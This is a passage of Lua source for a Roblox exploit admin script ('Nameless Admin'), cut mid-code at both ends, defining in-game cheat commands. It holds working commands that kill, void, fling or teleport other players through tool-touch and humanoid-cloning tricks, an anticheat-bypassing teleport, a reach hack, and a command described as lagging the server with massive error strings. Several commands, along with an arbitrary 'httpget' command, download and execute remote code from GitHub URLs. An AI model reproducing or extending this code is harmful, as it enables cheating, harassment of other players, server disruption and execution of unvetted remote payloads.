hatAmount + 1 end character:ClearAllChildren() respawn() wait() until hatAmount >= amt repeat wait() until tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character wait(0.5) spawn(function() repeat wait() until character.PrimaryPart wait(0.2) character:SetPrimaryPartCFrame(lastCF) for _, item in pairs(grabbed) do if item:IsA("Accoutrement") and item:FindFirstChild("Handle") then item.Parent = workspace wait() end end end) end) cmd.add({"hitboxes"}, {"hitboxes", "shows all the hitboxes"}, function() settings():GetService("RenderSettings").ShowBoundingBoxes = true end) cmd.add({"unhitboxes"}, {"unhitboxes", "removes the hitboxes outline"}, function() settings():GetService("RenderSettings").ShowBoundingBoxes = false end) cmd.add({"punch"}, {"punch", "punch tool that flings"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/punch",true))() end) cmd.add({"vfly", "vehiclefly"}, {"vehiclefly (vfly)", "be able to fly vehicles"}, function(...) FLYING = false cmdlp.Character.Humanoid.PlatformStand = false wait() wait(); Notify({ Description = "Vehicle fly enabled"; Title = "Nameless Admin"; Duration = 5; }); sFLY(true) speedofthevfly = (...) if (...) == nil then speedofthevfly = 2 end end) cmd.add({"unvfly", "unvehiclefly"}, {"unvehiclefly (unvfly)", "disable vehicle fly"}, function() wait(); Notify({ Description = "Vehicle fly disabled"; Title = "Nameless Admin"; Duration = 5; }); FLYING = false cmdlp.Character.Humanoid.PlatformStand = false end) cmd.add({"kill"}, {"kill [player]", "after a while i have added a working kill script thats almost instant to this admin"}, function(...) Target = (...) if Target == "all" or Target == "others" then loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Kill%20All'))() else local function Kill() if not getPlr(Target) then end repeat game:FindService("RunService").Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid") and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 local Character local Humanoid local RootPart local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local TRootPart if Player.Character and Player.Character and Player.Character.Name == Player.Name then Character = Player.Character else end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") else end if Humanoid and Humanoid.RootPart then RootPart = Humanoid.RootPart else end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) else end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle else end --Target if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") else return Message("Error","> Missing Target Humanoid") end if THumanoid.RootPart then TRootPart = THumanoid.RootPart else return Message("Error","> Missing Target RootPart") end if THumanoid.Sit then return Message("Error","> Target is seated") end local OldCFrame = RootPart.CFrame Humanoid:Destroy() local NewHumanoid = Humanoid:Clone() NewHumanoid.Parent = Character NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace local Timer = os.time() repeat if (TRootPart.CFrame.p - RootPart.CFrame.p).Magnitude < 500 then Tool.Grip = CFrame.new() Tool.Grip = Handle.CFrame:ToObjectSpace(TRootPart.CFrame):Inverse() end firetouchinterest(Handle,TRootPart,0) firetouchinterest(Handle,TRootPart,1) game:FindService("RunService").Heartbeat:wait() until Tool.Parent ~= Character or not TPlayer or not TRootPart or THumanoid.Health <= 0 or os.time() > Timer + .20 Player.Character = nil NewHumanoid.Health = 0 player.CharacterAdded:wait(1) repeat game:FindService("RunService").Heartbeat:wait() until Player.Character:FindFirstChild("HumanoidRootPart") Player.Character.HumanoidRootPart.CFrame = OldCFrame end if not LoopKill then Kill() else while LoopKill do Kill() end end end end) cmd.add({"toolblockspam"}, {"toolblockspam [amount]", "Spawn blocks by the given amount"}, function(amt) if not amt then amt = 1 end amt = tonumber(amt) local tools = getTools(amt) for i, tool in pairs(tools) do wait() spawn(function() wait(0.5) tool.Parent = character tool.CanBeDropped = true wait(0.4) for _, mesh in pairs(tool:GetDescendants()) do if mesh:IsA("DataModelMesh") then mesh:Destroy() end end for _, weld in pairs(character:GetDescendants()) do if weld.Name == "RightGrip" then weld:Destroy() end end wait(0.1) tool.Parent = workspace wait(0.3) local cf, p = CFrame.new(), character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Head") if p then cf = p.CFrame end respawn() player.CharacterAdded:wait(1); wait(0.2); character:WaitForChild("HumanoidRootPart").CFrame = cf end) end end) cmd.add({"equiptools", "equipall"}, {"equiptools", "Equip all of your tools"}, function() local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") if backpack then for _, tool in pairs(backpack:GetChildren()) do if tool:IsA("Tool") then tool.Parent = character end end end end) cmd.add({"tweento", "tweengoto"}, {"tweengoto (tweento)", "Teleportation method that bypassses some anticheats"}, function(...) local Username = (...) char = game.Players.LocalPlayer TweenService = game:GetService("TweenService") speaker = game.Players.LocalPlayer Players = game:GetService("Players") local players = getPlr(Username) TweenService:Create(getRoot(speaker.Character), TweenInfo.new(2, Enum.EasingStyle.Linear), {CFrame = getRoot(players.Character).CFrame + Vector3.new(3,1,0)}):Play() end) cmd.add({"reach"}, {"reach {number}", "Sword reach"}, function(reachsize) local reachsize = reachsize or 25 local Tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") or Player.Backpack:FindFirstChildOfClass("Tool") if Tool:FindFirstChild("OGSize3") then Tool.Handle.Size = Tool.OGSize3.Value Tool.OGSize3:Destroy() Tool.Handle.FunTIMES:Destroy() end local val = Instance.new("Vector3Value",Tool) val.Name = "OGSize3" val.Value = Tool.Handle.Size local sb = Instance.new("SelectionBox") sb.Adornee = Tool.Handle sb.Name = "FunTIMES" sb.Parent = Tool.Handle Tool.Handle.Massless = true Tool.Handle.Size = Vector3.new(Tool.Handle.Size.X,Tool.Handle.Size.Y,reachsize) end) cmd.add({"droptools"}, {"dropalltools", "Drop all of your tools"}, function() local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") if backpack then for _, tool in pairs(backpack:GetChildren()) do if tool:IsA("Tool") then tool.Parent = character end end end wait() for _, tool in pairs(character:GetChildren()) do if tool:IsA("Tool") then tool.Parent = workspace end end wait() respawn() end) cmd.add({"notools"}, {"notools", "Remove your tools"}, function() for _, tool in pairs(character:GetChildren()) do if tool:IsA("Tool") then tool:Destroy() end end for _, tool in pairs(localPlayer.Backpack:GetChildren()) do if tool:IsA("Tool") then tool:Destroy() end end end) cmd.add({"breaklayeredclothing", "blc"}, {"breaklayeredclothing (blc)", "Streches your layered clothing"}, function() wait(); Notify({ Description = "Break layered clothing executed, if you havent already equip shirt, jacket, pants and shoes (Layered Clothing ones)"; Title = "Nameless Admin"; Duration = 5; }); local swimming = false local RunService = game:GetService("RunService") oldgrav = workspace.Gravity workspace.Gravity = 0 local char = game.Players.LocalPlayer.Character local swimDied = function() workspace.Gravity = oldgrav swimming = false end local Humanoid = char:FindFirstChildWhichIsA("Humanoid") gravReset = Humanoid.Died:Connect(swimDied) local enums = Enum.HumanoidStateType:GetEnumItems() table.remove(enums, table.find(enums, Enum.HumanoidStateType.None)) for i, v in pairs(enums) do Humanoid:SetStateEnabled(v, false) end Humanoid:ChangeState(Enum.HumanoidStateType.Swimming) swimbeat = RunService.Heartbeat:Connect(function() pcall(function() char.HumanoidRootPart.Velocity = ((Humanoid.MoveDirection ~= Vector3.new() or UserInputService:IsKeyDown(Enum.KeyCode.Space)) and char.HumanoidRootPart.Velocity or Vector3.new()) end) end) swimming = true local Clip = false wait(0.1) local function NoclipLoop() if Clip == false and char ~= nil then for _, child in pairs(char:GetDescendants()) do if child:IsA("BasePart") and child.CanCollide == true then child.CanCollide = false end end end end Noclipping = RunService.Stepped:Connect(NoclipLoop) loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() end) cmd.add({"fpsbooster", "lowgraphics", "boostfps", "lowg"}, {"fpsbooster (lowgraphics, boostfps, lowg)", "Low graphics mode if the game is laggy"}, function() local decalsyeeted = true -- Leaving this on makes games look shitty but the fps goes up by at least 20. local g = game local w = g.Workspace local l = g.Lighting local t = w.Terrain sethiddenproperty(l,"Technology",2) sethiddenproperty(t,"Decoration",false) t.WaterWaveSize = 0 t.WaterWaveSpeed = 0 t.WaterReflectance = 0 t.WaterTransparency = 0 l.GlobalShadows = 0 l.FogEnd = 9e9 l.Brightness = 0 settings().Rendering.QualityLevel = "Level01" for i, v in pairs(w:GetDescendants()) do if v:IsA("BasePart") and not v:IsA("MeshPart") then v.Material = "Plastic" v.Reflectance = 0 elseif (v:IsA("Decal") or v:IsA("Texture")) and decalsyeeted then v.Transparency = 1 elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then v.Lifetime = NumberRange.new(0) elseif v:IsA("Explosion") then v.BlastPressure = 1 v.BlastRadius = 1 elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") or v:IsA("Sparkles") then v.Enabled = false elseif v:IsA("MeshPart") and decalsyeeted then v.Material = "Plastic" v.Reflectance = 0 v.TextureID = 10385902758728957 elseif v:IsA("SpecialMesh") and decalsyeeted then v.TextureId=0 elseif v:IsA("ShirtGraphic") and decalsyeeted then v.Graphic=0 elseif (v:IsA("Shirt") or v:IsA("Pants")) and decalsyeeted then v[v.ClassName.."Template"]=0 end end for i = 1,#l:GetChildren() do e=l:GetChildren()[i] if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then e.Enabled = false end end w.DescendantAdded:Connect(function(v) wait()--prevent errors and shit if v:IsA("BasePart") and not v:IsA("MeshPart") then v.Material = "Plastic" v.Reflectance = 0 elseif v:IsA("Decal") or v:IsA("Texture") and decalsyeeted then v.Transparency = 1 elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then v.Lifetime = NumberRange.new(0) elseif v:IsA("Explosion") then v.BlastPressure = 1 v.BlastRadius = 1 elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") or v:IsA("Sparkles") then v.Enabled = false elseif v:IsA("MeshPart") and decalsyeeted then v.Material = "Plastic" v.Reflectance = 0 v.TextureID = 10385902758728957 elseif v:IsA("SpecialMesh") and decalsyeeted then v.TextureId=0 elseif v:IsA("ShirtGraphic") and decalsyeeted then v.ShirtGraphic=0 elseif (v:IsA("Shirt") or v:IsA("Pants")) and decalsyeeted then v[v.ClassName.."Template"]=0 end end) end) cmd.add({"vr", "clovr", "vrscript", "fevr"}, {"vr (clovr, vrscript, fevr)", "FE VR SCRIPT AKA CLOVR"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/CloVR"))(); end) cmd.add({"void"}, {"void ", "Kill the given players without FE god"}, function(...) Target = (...) Player.Character.HumanoidRootPart.CFrame = CFrame.new(0,-349,0) local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame XC = TCharacter.HumanoidRootPart.CFrame.X ZC = TCharacter.HumanoidRootPart.CFrame.Z if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(1) respawn() end) cmd.add({"annoy"}, {"annoy ", "Annoys the given player"}, function(...) Target = (...) local TPlayer = getPlr(Target) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0, 999, 0) local power = 99999 -- change this amount of fling power how much you want fling power you want wait(.1) local bambam = Instance.new("BodyThrust") bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart bambam.Force = Vector3.new(power,0,power) bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end local OldPos = getRoot().CFrame player.CharacterAdded:wait(1) wait(4) CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"banish", "punish", "jail"}, {"punish (banish, jail)", "Banishes the player using a void script, can make them not respawn if the game is old"}, function(...) namelol = (...) user = getPlr(namelol) plr = user.name Target = plr Player.Character.Humanoid.Name = 1 local l = Player.Character["1"]:Clone() l.Parent = Player.Character l.Name = "Humanoid" task.wait() Player.Character["1"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Player.Character Player.Character.Animate.Disabled = true task.wait() Player.Character.Animate.Disabled = false for i, v in pairs(game:FindService "Players".LocalPlayer.Backpack:GetChildren()) do Player.Character.Humanoid:EquipTool(v) end task.wait() Player.Character.HumanoidRootPart.CFrame = Players[Target].Character.HumanoidRootPart.CFrame task.wait() Player.Character.HumanoidRootPart.CFrame = Players[Target].Character.HumanoidRootPart.CFrame task.wait(0.7) Player.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(-100000, 1000000000000000000000, -100000)) task.wait() task.wait(4) game.Players.LocalPlayer.Character.Humanoid.Health = 0 end) cmd.add({"sync"}, {"sync", "Syncs all in-game audios"}, function() if game.SoundService.RespectFilteringEnabled == false then for i,v in pairs(game:GetDescendants()) do if v:IsA("Sound") then v:Play() end end else Notify({ Description = "This game has RFE on, meaning this wont replicate."; Title = "Nameless Admin"; Duration = 7; }); end end) cmd.add({"infvoid"}, {"infvoid ", "Makes a players avatar glitch"}, function(...) Target = (...) local TPlayer = getPlr(Target) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(111111110, 11111110, 11111110) end) cmd.add({"attach"}, {"attach ", "Attach the given player(s)"}, function(...) Target = (...) local TPlayer = getPlr(Target) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"enableinventory", "enableinv"}, {"enableinv (enaleinventory)", "Lets you see what you have in your inventory since some games hide it"}, function(...) game.StarterGui:SetCoreGuiEnabled(2, true) end) cmd.add({"copytools", "ctools"}, {"copytools (ctools)", "Copies the tools the given player has"}, function(...) PLAYERNAMEHERE = (...) Target = getPlr(PLAYERNAMEHERE) for i, v in pairs(game:GetService("Players"):FindFirstChild(Target.Name).Backpack:GetChildren() )do if v:IsA("Tool") or v:IsA('HopperBin') then v:Clone().Parent = game.Players.LocalPlayer:FindFirstChildOfClass("Backpack") end end end) cmd.add({"bring"}, {"bring ", "Bring the given player(s)"}, function(...) local Target = (...) if Target == "all" or Target == "others" then loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Bring%20All'))() end local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CF until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CF wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(4) CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"errorlag", "animlag", "serverlag"}, {"animlag (errorlag, seņrverlag)", "Repeatedly error the server with a massive string at a time"}, function(n) local amt = tonumber(n) or 1 local i = 1234 local symbols = {"💖","❤️","🔥","👍","🎉","😜","💯","💜","😈","💦"} local function err(...) i = i + 1 if i > 30000 then i = 1000 end local hum = character:FindFirstChildWhichIsA("Humanoid") local animation = Instance.new("Animation") animation.AnimationId = (symbols[math.random(1, #symbols)]):rep(i) hum:LoadAnimation(animation):Play() animation:Destroy() end lib.connect("spam", RunService.RenderStepped:Connect(function() for i = 1, amt do err() end end)) end) cmd.add({"httpget", "hl", "get"}, {"httpget ", "Run the contents of a given URL"}, function(url) loadstring(game:HttpGet(url, true))() end) cmd.add({"skydive", "sky"}, {"skydive (sky)", "Skydives the player"}, function(...) local Target = (...) local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end local getPlr = function(Name) for x in string.gmatch(Name, "[%a%d%p]+") do Name = x:lower() break end local TPlayer = nil for _, x in next, Players:GetPlayers() do if tostring(x):lower():match(Name) or x["DisplayName"]:lower():match(Name) then TPlayer = x break end end return TPlayer end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame XC = TCharacter.HumanoidRootPart.CFrame.X ZC = TCharacter.HumanoidRootPart.CFrame.Z if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,10000,ZC) until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,1000,ZC) wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(4) CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"localtime", "yourtime"}, {"localtime (yourtime)", "Chats your current time"}, function() local hour = os.date("*t")['hour'] if hour < 10 then hour = "0"..hour end local min = os.date("*t")['min'] if min < 10 then min = "0"..min end local sec = os.date("*t")['sec'] if sec < 10 then sec = "0"..sec end local clock = hour..":"..min..":"..sec game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(clock, 'All') end) cmd.add({"cartornado", "ctornado"}, {"cartornado (ctornado)", "Tornados a car just sit in the car"}, function(...) -- Nameless Admin on mobile -- Fe Vehicle Fling Alpha -- Start UP local notification = Instance.new("Sound") notification.Parent = game:GetService("SoundService") notification.SoundId = "rbxassetid://9086208751" notification.Volume = 1 local char = game.Players.LocalPlayer.Character function getRoot(char) local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso') return rootPart end -- Part Detector Seat local SPart = Instance.new("Part"); local Player = game:GetService('Players').LocalPlayer; repeat game:GetService('RunService').RenderStepped:Wait() until Player.Character; local Character = Player.Character; SPart.Anchored, SPart.CanCollide = true, true; SPart.Parent = workspace; SPart.Size = Vector3.new(1, 100, 1) SPart.Transparency = 0.4 game:GetService('RunService').Stepped:Connect(function() local Ray = Ray.new(Character.PrimaryPart.Position + Character.PrimaryPart.CFrame.LookVector * 6, Vector3.new(0,-1,0) * 4); local FPOR = workspace:FindPartOnRayWithIgnoreList(Ray, {Character}); if (FPOR) then SPart.CFrame = Character.PrimaryPart.CFrame + Character.PrimaryPart.CFrame.LookVector * 6; end if SPart == nil then Ray:destroy() FPOR:destroy() end end) print("hi") -- The finish touches -- Mobile and PC Support BODYGYRO SPart.Touched:Connect(function(hit) if hit:IsA("Seat") then local IsFlying = False local flyv local flyg local Player = game.Players.LocalPlayer local Speed = 50 local LastSpeed = Speed local maxspeed = 100 local IsRunning = false local f = 0 IsFlying = true flyv = Instance.new("BodyVelocity") flyv.Parent = Player.Character:FindFirstChild('Torso') or Player.Character:FindFirstChild('UpperTorso') flyv.MaxForce = Vector3.new(math.huge,math.huge,math.huge) flyg = Instance.new("BodyGyro") flyg.Parent = Player.Character:FindFirstChild('Torso') or Player.Character:FindFirstChild('UpperTorso') flyg.MaxTorque = Vector3.new(9e9,9e9,9e9) flyg.P = 1000 flyg.D = 50 Player.Character:WaitForChild('Humanoid').PlatformStand = true Player.Character.Humanoid.Changed:Connect(function(Prop) if Player.Character.Humanoid.MoveDirection == Vector3.new(0,0,0) then IsRunning = false else IsRunning = true end end) spawn(function() while true do wait() if IsFlying then flyg.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((f+0)*50*Speed/maxspeed),0,0) flyv.Velocity = workspace.CurrentCamera.CoordinateFrame.LookVector * Speed wait(0.1) if Speed < 0 then Speed = 0 f = 0 end end if IsRunning then Speed = LastSpeed else if not Speed == 0 then LastSpeed = Speed end Speed = 0 end end end) Speed = 0.1 wait(0.3) hit:Sit(game:GetService("Players").LocalPlayer.Character.Humanoid) SPart:Destroy() wait(0.3) local speaker = game.Players.LocalPlayer local seat = speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart local vehicleModel = seat.Parent repeat if vehicleModel.ClassName ~= "Model" then vehicleModel = vehicleModel.Parent end until vehicleModel.ClassName == "Model" wait(0.1) for i,v in pairs(vehicleModel:GetDescendants()) do if v:IsA("BasePart") and v.CanCollide then v.CanCollide = false end end wait(0.2) Speed = 80 local Spin = Instance.new("BodyAngularVelocity") Spin.Name = "Spinning" Spin.Parent = getRoot(speaker.Character) Spin.MaxTorque = Vector3.new(0, math.huge, 0) Spin.AngularVelocity = Vector3.new(0,2000,0) print("hi") end end) end) cmd.add({"tornado"}, {"tornado ", "Tornados the player to be in the sky"}, function(...) local OldPos = getRoot().CFrame Target = (...) local RunService = game:FindService("RunService") if not getPlr(Target) then end repeat RunService.Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 or not getPlr(Target) local Player = game:FindService("Players").LocalPlayer local Character = Player.Character local Humanoid local HumanoidRootPart local Torso local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local THumanoidRootPart local TTorso if Character:FindFirstChild("HumanoidRootPart") then HumanoidRootPart = Character.HumanoidRootPart end if Character:FindFirstChild("Torso") then Torso = Character.Torso end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") end if Character:FindFirstChildOfClass("Tool") then Tool = 